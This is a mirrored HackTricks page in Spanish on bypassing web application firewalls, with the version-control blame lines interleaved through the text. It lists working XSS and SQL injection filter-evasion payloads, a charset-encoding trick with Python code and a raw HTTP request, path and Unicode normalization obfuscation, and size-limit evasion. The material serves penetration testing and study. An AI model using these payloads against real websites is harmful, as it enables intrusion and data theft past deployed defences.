Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2025-01-10 04:08:51 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/network-services-pentesting/pentesting-web/waf-bypass.md

85 lines
4.7 KiB
Markdown
Raw Normal View History

Translated ['network-services-pentesting/11211-memcache/README.md', 'net
2024-02-09 08:54:51 +00:00
# Bypass de WAF
f
2023-06-05 18:33:24 +00:00
<details>
Translated ['network-services-pentesting/11211-memcache/README.md', 'net
2024-02-09 08:54:51 +00:00
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
f
2023-06-05 18:33:24 +00:00
Translated ['network-services-pentesting/pentesting-web/README.md', 'net
2023-12-31 02:48:25 +00:00
Otras formas de apoyar a HackTricks:
Translated ['network-services-pentesting/11211-memcache/README.md', 'net
2024-02-09 08:54:51 +00:00
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
f
2023-06-05 18:33:24 +00:00
</details>
Translated ['network-services-pentesting/11211-memcache/README.md', 'net
2024-02-09 08:54:51 +00:00
## Bypass de Regex
Translated ['mobile-pentesting/android-app-pentesting/reversing-native-l
2023-12-24 18:21:47 +00:00
Translated ['network-services-pentesting/11211-memcache/README.md', 'net
2024-02-09 08:54:51 +00:00
Se pueden utilizar diferentes técnicas para evadir los filtros de regex en los firewalls. Ejemplos incluyen alternar mayúsculas y minúsculas, agregar saltos de línea y codificar payloads. Los recursos para los diversos bypasses se pueden encontrar en [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) y [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS\_Filter\_Evasion\_Cheat\_Sheet.html). Los ejemplos a continuación fueron extraídos de [este artículo](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).
f
2023-06-05 18:33:24 +00:00
```bash
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
Translated ['mobile-pentesting/android-app-pentesting/reversing-native-l
2023-12-24 18:21:47 +00:00
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
f
2023-06-05 18:33:24 +00:00
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
```
Translated ['network-services-pentesting/11211-memcache/README.md', 'net
2024-02-09 08:54:51 +00:00
## Codificación de caracteres
f
2023-06-05 18:33:24 +00:00
```bash
# Charset encoding
application/x-www-form-urlencoded;charset=ibm037
multipart/form-data; charset=ibm037,boundary=blah
multipart/form-data; boundary=blah; charset=ibm037
##Python code
import urllib
s = 'payload'
Translated ['mobile-pentesting/android-app-pentesting/reversing-native-l
2023-12-24 18:21:47 +00:00
print(urllib.parse.quote_plus(s.encode("IBM037")))
f
2023-06-05 18:33:24 +00:00
## Request example
GET / HTTP/1.1
Host: buggy
Content-Type: application/x-www-form-urlencoded; charset=ibm500
Content-Length: 61
%86%89%93%85%95%81%94%85=KKaKKa%C6%D3%C1%C7K%A3%A7%A3&x=L%A7n
```
## Ofuscación
```bash
# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>
# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;
```
## Compatibilidad Unicode
Translated ['mobile-pentesting/android-app-pentesting/reversing-native-l
2023-12-24 18:21:47 +00:00
Translated ['network-services-pentesting/11211-memcache/README.md', 'net
2024-02-09 08:54:51 +00:00
Dependiendo de la implementación de la normalización Unicode (más información [aquí](https://jlajara.gitlab.io/Bypass\_WAF\_Unicode)), los caracteres que comparten compatibilidad Unicode pueden evadir el WAF y ejecutarse como el payload previsto. Los caracteres compatibles se pueden encontrar [aquí](https://www.compart.com/en/unicode)
f
2023-06-05 18:33:24 +00:00
### Ejemplo
```bash
# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
＜img src⁼p onerror⁼＇prompt⁽1⁾＇﹥ --> ＜img src=p onerror='prompt(1)'>
```
Translated ['network-services-pentesting/11211-memcache/README.md', 'net
2024-02-09 08:54:51 +00:00
## Superar Limitaciones de Tamaño
Translated ['mobile-pentesting/android-app-pentesting/reversing-native-l
2023-12-24 18:21:47 +00:00
Translated ['network-services-pentesting/11211-memcache/README.md', 'net
2024-02-09 08:54:51 +00:00
Es común en los WAF basados en la nube que si la carga útil es mayor que el tamaño X, la solicitud no será verificada por el WAF. Simplemente puedes usar eso para evadirlos.
f
2023-06-05 18:33:24 +00:00
Translated ['mobile-pentesting/android-app-pentesting/reversing-native-l
2023-12-24 18:21:47 +00:00
### Rotación de IP
* [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin)
Reference in a new issue Copy permalink